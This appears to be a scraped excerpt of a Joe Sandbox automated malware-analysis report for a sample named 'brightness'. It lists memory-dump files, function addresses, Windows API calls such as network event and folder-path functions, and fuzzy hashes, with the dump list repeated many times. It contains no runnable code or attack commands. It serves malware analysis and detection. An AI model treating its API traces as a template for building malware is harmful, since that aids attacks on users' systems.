Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit
String ID: MOC$RCC
API String ID: 1969926928-2084237596
Opcode ID: ed8bd0ab92faa1f54095003defd2a49c59da4fdb40cb08683ccfb0fcb8a2e0cc
Instruction ID: e5aacd70d7d43fc841788cb6cb0da6b28c0d9f6dd581a601493bc731a943809a
Opcode Fuzzy Hash: ed8bd0ab92faa1f54095003defd2a49c59da4fdb40cb08683ccfb0fcb8a2e0cc
Instruction Fuzzy Hash: 66E012341B8286CFD7109F6AC19A76837A5FB44314F9900E5E44CCB263DB74D9719943

Function 002DEBC0 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

und_memcpy.LIBCMTD ref: 002DEC2F
und_memcpy.LIBCMTD ref: 002DEC4A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: und_memcpy
String ID:
API String ID: 2264155635-0
Opcode ID: 3c340b9c3d735c1583f2a46e38905241d57c2821687da2f3cb1773d08c542b4b
Instruction ID: 9fe1398a2a9d7fd5dac1e4c7ea37d81b77d94c760be66c74c2855b6bb5b8422e
Opcode Fuzzy Hash: 3c340b9c3d735c1583f2a46e38905241d57c2821687da2f3cb1773d08c542b4b
Instruction Fuzzy Hash: 6D71D3B1A00228DBDB68DF54CC84BDDB7B5AF98309F1485DAD50DAB350DA30AED18F44

Function 002E0870 Relevance: 7.6, APIs: 5, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 002E0876
WSAEventSelect.WS2_32(?,00000000,00000002), ref: 002E0893
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 002E08D3
WSACloseEvent.WS2_32(00000000), ref: 002E08E0
WSACloseEvent.WS2_32(00000000), ref: 002E0939

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Event$Close$CreateEventsMultipleSelectWait
String ID:
API String ID: 2166016019-0
Opcode ID: 08e9995ba36396676d24e9a62a5f6dc64a83684126705d6add908e6f95cf1d33
Instruction ID: 1caf530a790ca838bd65ebcae7785b4f82771018a5c404c36cfbd29f66deea14
Opcode Fuzzy Hash: 08e9995ba36396676d24e9a62a5f6dc64a83684126705d6add908e6f95cf1d33
Instruction Fuzzy Hash: 3B217CB4950209EFDF10CF95D988BAE77B9BF09710F504148E40567282C7F59E92DFA1

Function 002E0790 Relevance: 7.6, APIs: 5, Instructions: 69networkCOMMON

Download Yara Rule

APIs

WSACreateEvent.WS2_32 ref: 002E0796
WSAEventSelect.WS2_32(?,00000000,00000001), ref: 002E07B3
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 002E07F3
WSACloseEvent.WS2_32(00000000), ref: 002E0800
WSACloseEvent.WS2_32(00000000), ref: 002E0859

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Event$Close$CreateEventsMultipleSelectWait
String ID:
API String ID: 2166016019-0
Opcode ID: aee364394ef319da19e2e95da14939d665da1acf31a5204287c8be8d4c11e98d
Instruction ID: e9c76dc85ed03c01c3c58cbbd6d1399db4cf93be0a79feb40f433a7849bfdfb2
Opcode Fuzzy Hash: aee364394ef319da19e2e95da14939d665da1acf31a5204287c8be8d4c11e98d
Instruction Fuzzy Hash: 76217AB4D1020AEFCF00CF91D988BAE77B9BF05300F608158E80567281C7F59E92DBA1

Function 002C95E0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B,002D6B10,00000000), ref: 002C81EB
Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B), ref: 002C8205
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8235
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8251
Part of subcall function 002C81C0: LocalFree.KERNEL32(00000000), ref: 002C8A43

Part of subcall function 002C1C60: _wcsrchr.LIBCMT ref: 002C1C6C

GetFileAttributesW.KERNEL32(00000000), ref: 002C9630
LocalFree.KERNEL32(00000000), ref: 002C963F
LocalFree.KERNEL32(00000000), ref: 002C9649
LocalFree.KERNEL32(00000000), ref: 002C965A
LocalFree.KERNEL32(00000000), ref: 002C9664

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Allocwnsprintf$AttributesFile_wcsrchr
String ID:
API String ID: 3823319188-0
Opcode ID: 86d3de99690eacf89e7c27fd2762b3c58dfdb3b354735ac5e0e474ca2a031ff9
Instruction ID: f374cb3fdcadaabbc857890f1a6a239e33026dce8b7289d36eb2e3f99cb60c05
Opcode Fuzzy Hash: 86d3de99690eacf89e7c27fd2762b3c58dfdb3b354735ac5e0e474ca2a031ff9
Instruction Fuzzy Hash: 85111279920108EBCB04DFA4D989EDDBB7CAF48310F104658F605E7280DA759A94DB51

Function 002D32B0 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 002D3350: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D3364
Part of subcall function 002D3350: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D3385
Part of subcall function 002D3350: SHGetKnownFolderPath.SHELL32(002F7C30,00000000,00000000,00000000), ref: 002D33AC
Part of subcall function 002D3350: __snwprintf.LIBCMT ref: 002D33E4
Part of subcall function 002D3350: __snwprintf.LIBCMT ref: 002D33FE
Part of subcall function 002D3350: LocalFree.KERNEL32(00000000), ref: 002D340A
Part of subcall function 002D3350: CoTaskMemFree.COMBASE(00000000), ref: 002D3414

GetFileAttributesW.KERNEL32(00000000), ref: 002D32CF
LocalFree.KERNEL32(00000000), ref: 002D32E2
GetFileAttributesW.KERNEL32(00000000), ref: 002D3312
LocalFree.KERNEL32(00000000), ref: 002D3325

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

